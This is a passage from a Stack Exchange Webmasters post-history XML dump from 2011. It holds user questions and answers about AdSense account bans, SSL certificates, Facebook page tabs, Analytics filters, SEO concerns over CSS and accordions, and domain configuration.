taken,&#xD;&#xA;&gt; how you can appeal this decision, or invalid activity in general, you&#xD;&#xA;&gt; can find more information by visiting&#xD;&#xA;&gt; http://www.google.com/adsense/support/bin/answer.py?answer=57153.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Sincerely,&#xD;&#xA;&gt; &#xD;&#xA;&gt; The Google AdSense Team&#xD;&#xA;&#xD;&#xA;At first i didn't have any idea why... but then it came to me that it was maybe the auto refresh script we had because we publish news very very often and it would be useful for visitors... but i removed it immediately after i got the mail... Then i thought it might be my friends clicking thinking that that will help me (i didn't tell them to do it and don't know if they did) or something like that but than it couldn't be that because everyone can organize 10 people and get anyone who is a start-up banned? right?&#xD;&#xA;&#xD;&#xA;Anyway i filled out the form that was on the answers page with the previously removed script and got this from them:&#xD;&#xA;&#xD;&#xA;&gt; Hello,&#xD;&#xA;&gt; &#xD;&#xA;&gt; Thank you for your appeal. We appreciate the additional information&#xD;&#xA;&gt; you've provided, as well as your continued interest in the AdSense&#xD;&#xA;&gt; program. However, after thoroughly re-reviewing your account data and&#xD;&#xA;&gt; taking your feedback into consideration, our specialists have&#xD;&#xA;&gt; confirmed that we're unable to reinstate your AdSense account.&#xD;&#xA;&gt; &#xD;&#xA;&gt; As a reminder, if you have any questions or concerns about your&#xD;&#xA;&gt; account, the actions we've taken, or invalid activity in general, you&#xD;&#xA;&gt; can find more information by visiting&#xD;&#xA;&gt; http://www.google.com/adsense/support/bin/answer.py?answer=57153.&#xD;&#xA;&#xD;&#xA;I do understand them that they have to keep things secret in a way but i don't know what I'm supposed to do now? Is there a check list that i can go through and re-apply? Where do i re-apply on the same form?&#xD;&#xA;&#xD;&#xA;Please help as we are a small company and cant really have a budget for hiring a specialist + don't know any also...&#xD;&#xA;&#xD;&#xA;p.s. the current ads on the site are my own through doubleclick...&#xD;&#xA;&#xD;&#xA;Thanks in advance!&#xD;&#xA;&#xD;&#xA;Best,&#xD;&#xA;Karington" />
  <row Id="42550" PostHistoryTypeId="1" PostId="17643" RevisionGUID="36a2fb4a-1b1f-4b47-837b-60dd7c4b9981" CreationDate="2011-07-25T19:31:21.060" UserId="6415" Text="your AdSense account poses a risk of generating invalid activity" />
  <row Id="42551" PostHistoryTypeId="3" PostId="17643" RevisionGUID="36a2fb4a-1b1f-4b47-837b-60dd7c4b9981" CreationDate="2011-07-25T19:31:21.060" UserId="6415" Text="&lt;google-adsense&gt;" />
  <row Id="42552" PostHistoryTypeId="2" PostId="17645" RevisionGUID="14697cc8-73c5-4065-9052-87de13551daf" CreationDate="2011-08-01T17:14:17.500" UserId="93" Text="Your server would need to serve up a valid certificate for the domain name that the client wants to use.  You would probably need to have a different IP address for each client that wanted to do this, since the last time I checked, there still wasn't great support for name based virtual hosts with SSL.  If you had the client on their own IP address, their clients DNS resolving to that IP address, and you had a valid certificate (either that they provided, or you provided for them), then it should be possible." />
  <row Id="42553" PostHistoryTypeId="2" PostId="17646" RevisionGUID="ac9406f0-2c5f-4ead-b251-c6649c5d1140" CreationDate="2011-08-01T17:35:54.553" UserId="9311" Text="I've been looking for a method to handle checking my domain for certificates that are in use, but my provider doesn't provide a tool to see how many are currently in use. I've stumbled upon the following but I'm unfamiliar with it and unsure of its legitimacy.&#xD;&#xA;&#xD;&#xA;http://prefetch.net/articles/checkcertificate.html&#xD;&#xA;&#xD;&#xA;If bad, can you make any other suggestions on what I should do/use? I'm proficient in Powershell scripting.&#xD;&#xA;" />
  <row Id="42554" PostHistoryTypeId="1" PostId="17646" RevisionGUID="ac9406f0-2c5f-4ead-b251-c6649c5d1140" CreationDate="2011-08-01T17:35:54.553" UserId="9311" Text="Is this a legitimate tool to check for digital certificates?" />
  <row Id="42555" PostHistoryTypeId="3" PostId="17646" RevisionGUID="ac9406f0-2c5f-4ead-b251-c6649c5d1140" CreationDate="2011-08-01T17:35:54.553" UserId="9311" Text="&lt;ssl-certificate&gt;" />
  <row Id="42556" PostHistoryTypeId="17" PostId="17647" RevisionGUID="3c5c8e2a-fcb8-466b-a551-76ce5f77ea9b" CreationDate="2011-08-01T17:47:11.433" UserId="-1" Comment="from http://stackoverflow.com/questions/6897073/how-do-i-add-a-custom-welcome-tab-to-a-facebook-fan-page" Text="" />
  <row Id="42557" PostHistoryTypeId="17" PostId="17648" RevisionGUID="aba4b412-54ab-49cc-a013-a8c3045ce38a" CreationDate="2011-08-01T17:47:11.433" UserId="-1" Comment="from http://stackoverflow.com/questions/6897073/how-do-i-add-a-custom-welcome-tab-to-a-facebook-fan-page" Text="" />
  <row Id="42558" PostHistoryTypeId="2" PostId="17648" RevisionGUID="01f9eed8-1a1b-4d80-becb-1581028471b3" CreationDate="2011-08-01T10:27:26.907" UserId="9312" UserDisplayName="Neil Knight" Text="You will need to click `On Facebook` in order to display `Page Tabs`, which will display the `Tab URL`, `Secure Tab URL` and all of the `Canvas URL` details.&#xD;&#xA;&#xD;&#xA;`Canvas Page` is the name you'd like for your application to show up on Facebook e.g. &#xD;&#xA;`http://apps.facebook.com/LaurasApp/`&#xD;&#xA;&#xD;&#xA;`Canvas URL` is the `URL` to pull content for your application.&#xD;&#xA;&#xD;&#xA;`Tab URL` is the `URL` to pull content for your Page.&#xD;&#xA;&#xD;&#xA;`Secure Tab URL` is used if you are using `https`." />
  <row Id="42559" PostHistoryTypeId="2" PostId="17647" RevisionGUID="73a8ec39-f2b6-4e67-b137-726a71bf3d41" CreationDate="2011-08-01T10:24:01.947" UserId="9324" UserDisplayName="Laura Hogarth" Text="this is my first question on here so I do apologise in advance if I do something wrong. I'm a web designer, not a programmer (just for the record)!&#xD;&#xA;&#xD;&#xA;I have to add a custom welcome tab to a Facebook fan page, and...I don't know how to do it. I have googled and found several tutorials, but I can't seem to follow any of them because my experience always deviates from what the guides lead me to expect! &#xD;&#xA;&#xD;&#xA;The tutorial I've seen most recommended is this: http://www.hyperarts.com/blog/adding-iframe-application-to-facebook-fan-page/&#xD;&#xA;However, I've tried it and I just don't get the same pages or forms as shown. &#xD;&#xA;&#xD;&#xA;After I create and name a new app, the tutorial says I need to go to the Facebook Integration tab and fill in the fields &quot;Tab URL&quot;, &quot;Secure Tab URL&quot; etc. I can't find any of this. The forms I have found ask for a whole load more information such as &quot;Canvas Page&quot;, &quot;Canvas URL&quot;, &quot;Bookmark URL&quot; and more, but I simply don't know what I'm supposed to put in here.&#xD;&#xA;&#xD;&#xA;If anyone could advise me (in the most basic terms), or point me to a very simple tutorial then I would be most grateful. " />
  <row Id="42560" PostHistoryTypeId="1" PostId="17647" RevisionGUID="73a8ec39-f2b6-4e67-b137-726a71bf3d41" CreationDate="2011-08-01T10:24:01.947" UserId="9324" UserDisplayName="Laura Hogarth" Text="How do I add a custom welcome tab to a Facebook fan page?" />
  <row Id="42561" PostHistoryTypeId="3" PostId="17647" RevisionGUID="73a8ec39-f2b6-4e67-b137-726a71bf3d41" CreationDate="2011-08-01T10:24:01.947" UserId="9324" UserDisplayName="Laura Hogarth" Text="&lt;facebook&gt;" />
  <row Id="42562" PostHistoryTypeId="25" PostId="17641" RevisionGUID="f5281fa2-c529-47bb-93ca-1bd38d9a2ab4" CreationDate="2011-08-01T18:33:57.467" Comment="http://twitter.com/#!/StackWebmasters/status/98099162679222272" />
  <row Id="42563" PostHistoryTypeId="17" PostId="17649" RevisionGUID="9bd953e2-9e69-4a54-9b72-845dd49f14c0" CreationDate="2011-08-01T18:38:19.057" UserId="-1" Comment="from http://stackoverflow.com/questions/6819506/global-analytics-filter-for-all-accounts" Text="" />
  <row Id="42564" PostHistoryTypeId="2" PostId="17649" RevisionGUID="2d38584f-d444-4132-874f-7d6e469824d9" CreationDate="2011-07-25T16:43:06.390" UserId="9314" UserDisplayName="styks1987" Text="I am trying to create a filter for all of my Analytics websites. I am wondering if it is currently possible to do this. &#xD;&#xA;Basically one filter to rule them all!&#xD;&#xA;&#xD;&#xA;thanks! " />
  <row Id="42565" PostHistoryTypeId="1" PostId="17649" RevisionGUID="2d38584f-d444-4132-874f-7d6e469824d9" CreationDate="2011-07-25T16:43:06.390" UserId="9314" UserDisplayName="styks1987" Text="Global Analytics Filter for all accounts" />
  <row Id="42566" PostHistoryTypeId="3" PostId="17649" RevisionGUID="2d38584f-d444-4132-874f-7d6e469824d9" CreationDate="2011-07-25T16:43:06.390" UserId="9314" UserDisplayName="styks1987" Text="&lt;google&gt;&lt;analytics&gt;" />
  <row Id="42567" PostHistoryTypeId="2" PostId="17650" RevisionGUID="a1a5f655-d725-4fec-920e-f3e14e8f3c37" CreationDate="2011-08-01T19:00:44.827" UserId="9313" Text="I have a dynamic site with thousands of pages (database driven).  Every page has a log in link up in the header.  Not so unusual.  All of my pages have a title which is an H2 (I am changing it to H1 soon).  &#xD;&#xA;&#xD;&#xA;According to Google Webmaster Tools, &quot;log&quot; is the most relevant keyword on my site. How can I prevent this from happening?  Surely I'm not the only website with the words &quot;log in&quot; in their header, appearing on every page.  " />
  <row Id="42568" PostHistoryTypeId="1" PostId="17650" RevisionGUID="a1a5f655-d725-4fec-920e-f3e14e8f3c37" CreationDate="2011-08-01T19:00:44.827" UserId="9313" Text="Google finding irrelevant keywords on my pages?" />
  <row Id="42569" PostHistoryTypeId="3" PostId="17650" RevisionGUID="a1a5f655-d725-4fec-920e-f3e14e8f3c37" CreationDate="2011-08-01T19:00:44.827" UserId="9313" Text="&lt;seo&gt;&lt;google&gt;&lt;google-webmaster-tools&gt;&lt;keywords&gt;" />
  <row Id="42570" PostHistoryTypeId="2" PostId="17651" RevisionGUID="095c0912-73b5-4196-9ae1-381cc414c56b" CreationDate="2011-08-01T19:12:29.197" UserId="1253" Text="Just because &quot;log&quot; is the most relevant keyword Google has found on your site doesn't mean your site will rank well for &quot;log&quot; or &quot;log in&quot;. It just means that keyword is very prevalent in your site. And that's not a bad thing. Your pages can be relevant for lots of keywords, some of which will be mundane like &quot;log&quot; thanks to common links in your header or footer, and others because that is what the page is about. &#xD;&#xA;&#xD;&#xA;What you're seeing is common to most websites. You shouldn't make any changes to your site just to make that list show the keywords you want to rank well for. The two are only loosely linked. &#xD;&#xA;&#xD;&#xA;Just focus on improving your semantic markup as that clearly is an area for improvement for your site. Then make sure you get quality links, etc. But definitely go making changes to make that list happy. That's just a clear case of focusing on the wrong thing." />
  <row Id="42571" PostHistoryTypeId="2" PostId="17652" RevisionGUID="480abc1b-4b67-4345-8988-21cab08484ae" CreationDate="2011-08-01T19:44:47.973" UserId="1064" Text="For the sake of clarity, the word &quot;profile&quot; refers to a specific tracking ID (example: `UA-123456-1`) and &quot;account&quot; refers to a set of tracking ID's (example: `UA-123456-1` through `UA-123456-n`).&#xD;&#xA;&#xD;&#xA;The [Filter Manager][1] allows you to apply a filter to an entire account (and all related profiles), however, if you have access to multiple accounts and you want to automate filter creation, you will need to wait* until Google provides access to create filters through the [Management API][2].&#xD;&#xA;&#xD;&#xA;(* Related discussion thread: [Filters?][3])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/analytics/bin/answer.py?answer=55492&#xD;&#xA;  [2]: http://code.google.com/apis/analytics/docs/mgmt/home.html&#xD;&#xA;  [3]: http://code.google.com/apis/analytics/community/managementApiGroup.html?place=topic/google-analytics-management-api/EPZg5U3t4zU/discussion" />
  <row Id="42572" PostHistoryTypeId="10" PostId="17632" RevisionGUID="e8a67b8c-89ac-49ef-8142-ff603af66cdc" CreationDate="2011-08-01T20:12:56.700" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="42573" PostHistoryTypeId="2" PostId="17653" RevisionGUID="d17db6d6-2063-41ec-9fd0-7fbc9acbcb89" CreationDate="2011-08-01T20:37:17.713" UserId="9315" Text="I want to create a personal web&#xD;&#xA;&#xD;&#xA;many parts should have it&#xD;&#xA;like:&#xD;&#xA;&#xD;&#xA;    0.Home&#xD;&#xA;    1.search input text&#xD;&#xA;    2.contacts&#xD;&#xA;    3.CV&#xD;&#xA;    4.portfolio&#xD;&#xA;    5.coding&#xD;&#xA;&#xD;&#xA;I have eager to know if you have idea about extra part that still I don't know it?&#xD;&#xA;&#xD;&#xA;I don't know exactly I must design it by templates?design it by Jquery?or &#xD;&#xA;what else?&#xD;&#xA;I am a PHP developer then knowing javascript,html too&#xD;&#xA;&#xD;&#xA;I think for Web design I must begin JQuery but I am not sure &#xD;&#xA;I have weaknesses in Graphical issues &#xD;&#xA;&#xD;&#xA;any suggestions will be welcomed.Thanks in Advance " />
  <row Id="42574" PostHistoryTypeId="1" PostId="17653" RevisionGUID="d17db6d6-2063-41ec-9fd0-7fbc9acbcb89" CreationDate="2011-08-01T20:37:17.713" UserId="9315" Text="newbie in web designing" />
  <row Id="42575" PostHistoryTypeId="3" PostId="17653" RevisionGUID="d17db6d6-2063-41ec-9fd0-7fbc9acbcb89" CreationDate="2011-08-01T20:37:17.713" UserId="9315" Text="&lt;web-development&gt;&lt;website-design&gt;&lt;personal-website&gt;" />
  <row Id="42576" PostHistoryTypeId="2" PostId="17654" RevisionGUID="eadfba09-c2f2-4146-8a2f-365483ac9f44" CreationDate="2011-08-01T20:42:27.460" UserId="1248" Text="Did you follow Google's guide for configuring [Social Interaction Analytics][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/gaTrackingSocial.html" />
  <row Id="42577" PostHistoryTypeId="10" PostId="17653" RevisionGUID="a73ced6b-e25f-4a5a-a061-7b84dfee782f" CreationDate="2011-08-01T20:46:26.110" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="42578" PostHistoryTypeId="25" PostId="17620" RevisionGUID="c1046d03-be74-48a8-86d9-c9d5c30e8cc8" CreationDate="2011-08-01T21:33:57.507" Comment="http://twitter.com/#!/StackWebmasters/status/98144461472804864" />
  <row Id="42579" PostHistoryTypeId="2" PostId="17655" RevisionGUID="14e9f300-3555-4ea8-a180-0caef9f2ff00" CreationDate="2011-08-01T22:12:11.840" UserId="9316" Text="A while back, I answered this question on Stack Overflow: &#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/5078239/how-to-remove-the-space-between-inline-block-elements&#xD;&#xA;&#xD;&#xA;The problem is that elements with `display: inline-block` have &quot;extra gaps&quot;, due to being affected by whitespace in the HTML, see: http://jsfiddle.net/thirtydot/4z4v2/&#xD;&#xA;&#xD;&#xA;As shown, the gaps can be removed by removing the whitespace in the HTML. However, removing that whitespace is sometimes an undesirable fix: for example, it makes the HTML more difficult to work with.&#xD;&#xA;&#xD;&#xA;So, I suggested this workaround: http://jsfiddle.net/thirtydot/4z4v2/1/&#xD;&#xA;&#xD;&#xA;    ul {&#xD;&#xA;        font-size: 0;&#xD;&#xA;        letter-spacing: -1px;&#xD;&#xA;    }&#xD;&#xA;    li {&#xD;&#xA;        font-size: medium;&#xD;&#xA;        letter-spacing: normal;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;*(`letter-spacing` is required to fully eradicate the gap in Safari)*&#xD;&#xA;&#xD;&#xA;And that was that..&#xD;&#xA;&#xD;&#xA;..until a comment popped up when this technique was suggested in [another answer](http://stackoverflow.com/questions/6902237/css-unwanted-spacing-between-anchor-tag-elements/6902524#6902524):&#xD;&#xA;&#xD;&#xA;&gt; Be careful with this code because it might be interpreted by web&#xD;&#xA;&gt; crawlers as abuse since you are explicitly hiding text inside an&#xD;&#xA;&gt; element containing links. Its true that the links itself are visible&#xD;&#xA;&gt; thanks to a higher specificity rule but still web crawlers see a bunch&#xD;&#xA;&gt; of links inside a container which tells all of its ancestors to hide&#xD;&#xA;&gt; their textual content.&#xD;&#xA;&#xD;&#xA;I've used this technique on only *one* site (..I usually just remove the whitespace), and the site *has* ranked properly on Google (no link, sorry). If it matters, the site has pages targeted very specifically in the format of &quot;Phrase + Location&quot;: as a fictitious example &quot;Zombie Chopper Ravenholm&quot;.&#xD;&#xA;&#xD;&#xA;I only *really* care about Google, but answers concerning other search engines are also welcome.&#xD;&#xA;&#xD;&#xA;**So, my question is:** &#xD;&#xA;&#xD;&#xA;Is the mere presence of `font-size: 0` a risk for SEO, even though no text is ever actually hidden?" />
  <row Id="42580" PostHistoryTypeId="1" PostId="17655" RevisionGUID="14e9f300-3555-4ea8-a180-0caef9f2ff00" CreationDate="2011-08-01T22:12:11.840" UserId="9316" Text="Is this inline-block trick involving 'font-size: 0' dangerous for SEO?" />
  <row Id="42581" PostHistoryTypeId="3" PostId="17655" RevisionGUID="14e9f300-3555-4ea8-a180-0caef9f2ff00" CreationDate="2011-08-01T22:12:11.840" UserId="9316" Text="&lt;seo&gt;&lt;google&gt;&lt;html&gt;&lt;css&gt;" />
  <row Id="42582" PostHistoryTypeId="2" PostId="17656" RevisionGUID="060d7cec-d1ba-4080-9d9e-e367e8339e6f" CreationDate="2011-08-01T22:29:42.033" UserId="8457" Text="How do I test if a website works on an old Mac without owning a Mac? Are there emulates. Does Safari work the same on both XP and a Mac? On the PC the website works on ie 7-9, FireFox, Opera, Safari, and Chrome. It works on a very old iPhone too but not a five year old Mac. Here is a screen shot of I just got from Browser Shots on Safari 4.0 which is exactly how it's supposed to look.&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/VpXp5.png" />
  <row Id="42583" PostHistoryTypeId="1" PostId="17656" RevisionGUID="060d7cec-d1ba-4080-9d9e-e367e8339e6f" CreationDate="2011-08-01T22:29:42.033" UserId="8457" Text="I don't have a Mac. Someone tested my website on a Mac and the Google Maps' Javascript is not working. How do I test it?" />
  <row Id="42584" PostHistoryTypeId="3" PostId="17656" RevisionGUID="060d7cec-d1ba-4080-9d9e-e367e8339e6f" CreationDate="2011-08-01T22:29:42.033" UserId="8457" Text="&lt;cross-browser&gt;&lt;safari&gt;&lt;mac&gt;" />
  <row Id="42585" PostHistoryTypeId="2" PostId="17657" RevisionGUID="e82b98ee-30f7-4688-b42e-2b8a8db93065" CreationDate="2011-08-01T22:51:05.920" UserId="8957" Text="you could use a virtual machine, like virtualbox, vmware, etc. but you would need to have a license of mac os to test it with.&#xD;&#xA;safari, however, should look the same on all operating systems it runs on (in theory), and that seems like a pretty big flaw, so i would assume that the problem is somewhere else." />
  <row Id="42586" PostHistoryTypeId="2" PostId="17658" RevisionGUID="ee677a95-a8d4-42e8-81d6-6a36ed921c0f" CreationDate="2011-08-01T23:26:41.387" UserId="1253" Text="Google is out to penalize techniques. They out to to punish *bad intentions*. Just as `display:none` can be used both for legitimate purposes and black hat SEO, the same holds true for other CSS rules. In your case text is never hidden and is available and visible to both search engines and users so you should be fine." />
  <row Id="42587" PostHistoryTypeId="2" PostId="17659" RevisionGUID="2225a634-a22c-4aa8-8056-e1ebf1ce3dba" CreationDate="2011-08-02T00:31:48.560" UserId="6334" Text="I am trying to understand why does my website always get redirected to the naked domain version of it. For e.g.:&#xD;&#xA;&#xD;&#xA;`www.example.com` gets redirected to `example.com`&#xD;&#xA;&#xD;&#xA;I purchased my domain name from godaddy and am using [github][1] (scroll to `custom domains`) for hosting it. (sidenote: I don't quite understand the concept of CNAME and A-records)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pages.github.com/" />
  <row Id="42588" PostHistoryTypeId="1" PostId="17659" RevisionGUID="2225a634-a22c-4aa8-8056-e1ebf1ce3dba" CreationDate="2011-08-02T00:31:48.560" UserId="6334" Text="why does my domain always get mapped to the naked domain flavor?" />
  <row Id="42589" PostHistoryTypeId="3" PostId="17659" RevisionGUID="2225a634-a22c-4aa8-8056-e1ebf1ce3dba" CreationDate="2011-08-02T00:31:48.560" UserId="6334" Text="&lt;web-hosting&gt;&lt;websites&gt;&lt;domain-names&gt;" />
  <row Id="42590" PostHistoryTypeId="25" PostId="17655" RevisionGUID="43c89e8b-6e51-470c-9a0c-8603d41c8f6f" CreationDate="2011-08-02T00:33:57.843" Comment="http://twitter.com/#!/StackWebmasters/status/98189760174100480" />
  <row Id="42594" PostHistoryTypeId="25" PostId="17650" RevisionGUID="14f2b18a-f2ac-46fb-9f72-d4129d2ff3f3" CreationDate="2011-08-02T03:33:58.130" Comment="http://twitter.com/#!/StackWebmasters/status/98235059663941632" />
  <row Id="42595" PostHistoryTypeId="5" PostId="17658" RevisionGUID="959a1068-b936-4e33-b3d4-df54e6738ea0" CreationDate="2011-08-02T03:42:08.467" UserId="4502" Comment="Added missing &quot;not&quot;" Text="Google is not out to penalize techniques. They're out to to punish *bad intentions*. Just as `display:none` can be used both for legitimate purposes and black hat SEO, the same holds true for other CSS rules. In your case text is never hidden and is available and visible to both search engines and users so you should be fine." />
  <row Id="42596" PostHistoryTypeId="17" PostId="17661" RevisionGUID="2215b797-fb3b-4c8f-a18f-f933da46287e" CreationDate="2011-08-02T03:49:17.720" UserId="-1" Comment="from http://stackoverflow.com/questions/6903103/layout-columns-equal-height" Text="" />
  <row Id="42597" PostHistoryTypeId="17" PostId="17662" RevisionGUID="2f7437b9-74fd-4a58-bfd9-a17cd22462c2" CreationDate="2011-08-02T03:49:17.720" UserId="-1" Comment="from http://stackoverflow.com/questions/6903103/layout-columns-equal-height" Text="" />
  <row Id="42598" PostHistoryTypeId="2" PostId="17662" RevisionGUID="3c91c254-ad20-4da5-b814-a5464c31c0f0" CreationDate="2011-08-01T21:45:23.653" UserId="9321" UserDisplayName="Nightfirecat" Text="No, using `display: table`, `display: table-row`, and `display: table-cell` would not be as bad as using `&lt;table&gt;` tags. The reason for that is that HTML is a _semantic_ language, meaning that the tags used should describe the content that is within. In this case, CSS can be used to describe to the browser how the data should be presented, and since the functionality of presentation that you're after is that of a table, you can go right ahead and do that.&#xD;&#xA;&#xD;&#xA;I will mention, however, that [they are not supported in IE7 or below](http://css-tricks.com/7692-fluid-width-equal-height-columns/).&#xD;&#xA;&#xD;&#xA;P.S. You could also [check out](http://stackoverflow.com/questions/289409/full-height-css-layout-with-multiple-columns) some [similar questions](http://stackoverflow.com/questions/1000691/3-columns-layout-via-divs-middle-flexible-all-flexible-height-strict-mode) here on Stack Overflow." />
  <row Id="42599" PostHistoryTypeId="2" PostId="17661" RevisionGUID="77af1bfa-89a6-455f-b0da-3e0e6e6250f6" CreationDate="2011-08-01T19:07:10.087" UserDisplayName="Kyle" Text="I remember first starting out using tables for layouts and learned that I should not be doing that. I am working on a new site and can not seem to do equal height columns without using tables. Here is an example of the attempt with div tags.&#xD;&#xA;&#xD;&#xA;    &lt;div class=&quot;row&quot;&gt;&#xD;&#xA;    &lt;div class=&quot;column&quot;&gt;column1&lt;/div&gt;&#xD;&#xA;    &lt;div class=&quot;column&quot;&gt;column2&lt;/div&gt;&#xD;&#xA;    &lt;div class=&quot;column&quot;&gt;column3&lt;/div&gt;&#xD;&#xA;    &lt;div style=&quot;clear:both&quot;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;Now what I tried with that was doing making columns float left and setting their widths to 33% which works fine, I use the clear:both div so that the row would be the size of the biggest column, but the columns will be different sizes based on how much content they have. I have found many fixes which mostly involve css hacks and just making it look like its right but that's not what I want. I thought of just doing it in javascript but then it would look different for those who choose to disable their javascript. The only true way of doing it that I can think of is using tables since the cells all have equal heights in the same row. But I know its bad to use tables. After searching forever I than came across this: [http://intangiblestyle.com/lab/equal-height-columns-with-css/][1]&#xD;&#xA;What it seems to do is exactly the same as tables since its just setting its display exactly like tables. Would using that be just as bad as using tables? I honestly can't find anything else that I could do.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://intangiblestyle.com/lab/equal-height-columns-with-css/" />
  <row Id="42600" PostHistoryTypeId="1" PostId="17661" RevisionGUID="77af1bfa-89a6-455f-b0da-3e0e6e6250f6" CreationDate="2011-08-01T19:07:10.087" UserDisplayName="Kyle" Text="Layout Columns - Equal Height" />
  <row Id="42601" PostHistoryTypeId="3" PostId="17661" RevisionGUID="77af1bfa-89a6-455f-b0da-3e0e6e6250f6" CreationDate="2011-08-01T19:07:10.087" UserDisplayName="Kyle" Text="&lt;html&gt;&lt;css&gt;&lt;layout&gt;&lt;web-design&gt;" />
  <row Id="42602" PostHistoryTypeId="2" PostId="17663" RevisionGUID="8e1c5a90-ebba-4d3d-90a7-25644fa62ae1" CreationDate="2011-08-02T04:21:21.840" UserId="1787" Text="A domain I'm interested in acquiring as its status showing as &quot;Unlocked&quot;. It's due to expire in a couple of weeks.&#xD;&#xA;&#xD;&#xA;What does the &quot;unlocked&quot; status mean? Am I more likely to be able to register the domain when/if it expires?" />
  <row Id="42603" PostHistoryTypeId="1" PostId="17663" RevisionGUID="8e1c5a90-ebba-4d3d-90a7-25644fa62ae1" CreationDate="2011-08-02T04:21:21.840" UserId="1787" Text="What does it mean if a domain is unlocked?" />
  <row Id="42604" PostHistoryTypeId="3" PostId="17663" RevisionGUID="8e1c5a90-ebba-4d3d-90a7-25644fa62ae1" CreationDate="2011-08-02T04:21:21.840" UserId="1787" Text="&lt;domain-names&gt;" />
  <row Id="42605" PostHistoryTypeId="2" PostId="17664" RevisionGUID="7da272cd-4dbc-4fbe-9977-f9b2f397c9d4" CreationDate="2011-08-02T04:47:19.310" UserId="4311" Text="&quot;Unlocked&quot; status just means that it can be transferred to a different registrar by its current owner; it won't help you to get it when it expires." />
  <row Id="42606" PostHistoryTypeId="2" PostId="17665" RevisionGUID="9ea13b5b-0651-4cd2-b456-9252281d54b1" CreationDate="2011-08-02T04:57:04.290" UserId="2595" Text="It has to do with the way the web server is set up. This is so the www does not have to be included in the URL (since nobody really uses it anymore anyway). If it wasn't for this typing example.com might not take you to the website, where as typing www.example.com would (or vice versa). " />
  <row Id="42607" PostHistoryTypeId="2" PostId="17666" RevisionGUID="cca85cb8-c5e8-4567-b051-dad0a1c2f4f3" CreationDate="2011-08-02T05:43:30.443" UserId="8935" Text="I am planning to use Accrodion and Jquery in My website. previously to animate the contents in the website i used Flash but content (text ) in the flash are not indexable in the search engine &#xD;&#xA;&#xD;&#xA;and since major contents of my site comes with in animated Tab using Accordion and J query and most of the text are hidden in DIV so i want to know whether this will effect the SEO.&#xD;&#xA;&#xD;&#xA;Because most of the contents are hidden initially by default and by definition of Black hat Seo,this sounds similar to black hat SEO ...&#xD;&#xA;&#xD;&#xA; will google treat my site same as Black hat SEO or Is using Accordion in website is acceptable in SEO ? " />
  <row Id="42608" PostHistoryTypeId="1" PostId="17666" RevisionGUID="cca85cb8-c5e8-4567-b051-dad0a1c2f4f3" CreationDate="2011-08-02T05:43:30.443" UserId="8935" Text="using Accordion, Jquery ,will it affect SEO?" />
  <row Id="42609" PostHistoryTypeId="3" PostId="17666" RevisionGUID="cca85cb8-c5e8-4567-b051-dad0a1c2f4f3" CreationDate="2011-08-02T05:43:30.443" UserId="8935" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;blackhat&gt;" />
  <row Id="42612" PostHistoryTypeId="25" PostId="17646" RevisionGUID="8658751e-daa6-4ea9-9111-5ce9d5cd0ffb" CreationDate="2011-08-02T06:34:01.873" Comment="http://twitter.com/#!/StackWebmasters/status/98280373510877186" />
  <row Id="42613" PostHistoryTypeId="2" PostId="17668" RevisionGUID="ff4d7436-ba8e-4db5-9a3c-ac26fd3b5975" CreationDate="2011-08-02T07:18:40.020" UserId="4502" Text="There's a *lot* more involved in being considered &quot;black hat&quot; than just having some–temporarily–hidden divs on your pages. The text will still be accessible to search engines for indexing(assuming you're not using Ajax loading), and there should be no problems." />
  <row Id="42614" PostHistoryTypeId="2" PostId="17669" RevisionGUID="b8f895bc-ddf4-4fcc-bb5c-86f256026772" CreationDate="2011-08-02T07:24:55.837" UserId="9322" Text="I personally think for some reasons that it cannot be considered as black hat. When a robot parses your website it actually reads your code and records the direct accessible information it needs (No Ajax load methods). Another reason is since Google is also using JQuery i think everyone can use that with no worry about SEO. &#xD;&#xA;&#xD;&#xA;BUT, cuz their is a but :)! this doesn't mean you should be tricky and try to fool the robot by adding tons of non necessary contents in order to have a better SEO. I am sure robots are perfectly able to see that. I actually think that this goes for everything no matter which language you use. You should just code as fair as possible avoiding tricky methods and respect basic SEO rules in order to, HOPEFULLY, have a good SEO." />
  <row Id="42615" PostHistoryTypeId="6" PostId="17663" RevisionGUID="ca499a1f-c14d-4f7a-b74c-1427b78b7c23" CreationDate="2011-08-02T07:26:23.973" UserId="4502" Comment="edited tags" Text="&lt;domain-names&gt;&lt;domain-registration&gt;" />
  <row Id="42616" PostHistoryTypeId="5" PostId="17623" RevisionGUID="a0d3340b-aa80-4d4a-bbc3-45997bdcb763" CreationDate="2011-08-02T07:44:48.280" UserId="4502" Comment="Previous link from xyious was to sitemaps.org, which has nothing at all about video content." Text="You will have to [include video information][1] in your sitemap. The &quot;more information about...&quot; link near bottom of that page will give you the specifics on elements, etc. &#xD;&#xA;&#xD;&#xA;If you happen to already produce an mRSS feed, you can also use that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=80471#creating" />
